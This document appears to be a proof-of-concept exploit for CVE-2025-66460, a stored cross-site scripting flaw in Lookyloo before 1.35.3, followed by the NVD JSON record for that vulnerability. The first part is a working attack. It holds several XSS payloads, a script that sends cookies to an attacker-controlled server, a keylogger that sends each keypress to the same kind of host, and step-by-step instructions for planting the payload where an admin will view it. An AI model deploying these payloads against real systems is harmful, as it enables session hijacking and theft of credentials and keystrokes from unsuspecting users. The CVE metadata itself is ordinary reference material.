CVE-2025-66460

<!-- CVE-2025-66460 PoC - Stored XSS via DataTables orthogonal-data --> <!-- Target: Lookyloo < 1.35.3 --> <!-- Method 1: Script tag injection --> <script>alert(document.cookie)</script> <!-- Method 2: Event handler injection --> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> <!-- Method 3: SVG-based injection --> <svg/onload=fetch('https://attacker.com/exfil?data='+btoa(document.domain))> <!-- Practical exploitation payload --> <script> // Cookie stealing and session hijacking var cookies = document.cookie; fetch('https://attacker-controlled-server.com/log?c=' + btoa(cookies)); // Keylogger example document.addEventListener('keypress', function(e) { fetch('https://attacker-controlled-server.com/klog?k=' + e.key); }); </script> <!-- Exploitation steps: 1. Identify Lookyloo instance < 1.35.3 2. Find input fields that populate DataTables columns 3. Submit malicious payload in any user-controlled field 4. Wait for admin/user to view the data 5. XSS executes in victim's browser context -->

{"cve": {"id": "CVE-2025-66460", "sourceIdentifier": "[email protected]", "published": "2025-12-02T19:15:53.163", "lastModified": "2025-12-05T14:57:46.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Lookyloo is a web interface that allows users to capture a website page and then display a tree of domains that call each other. Prior to 1.35.3, Lookyloo passed improperly escaped values to cells rendered in datatables using the orthogonal-data feature. It is definitely exploitable from the popup view, but it is most probably also exploitable in many other places. This vulnerability is fixed in 1.35.3."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lookyloo:lookyloo:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.35.3", "matchCriteriaId": "3BB658AA-0447-4162-B66E-55A8B08D290C"}]}]}], "references": [{"url": "https://github.com/Lookyloo/lookyloo/commit/63b39311f6b251a671895d97174345faf1b18e6e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/Lookyloo/lookyloo/security/advisories/GHSA-r93r-7jfr-99c3", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}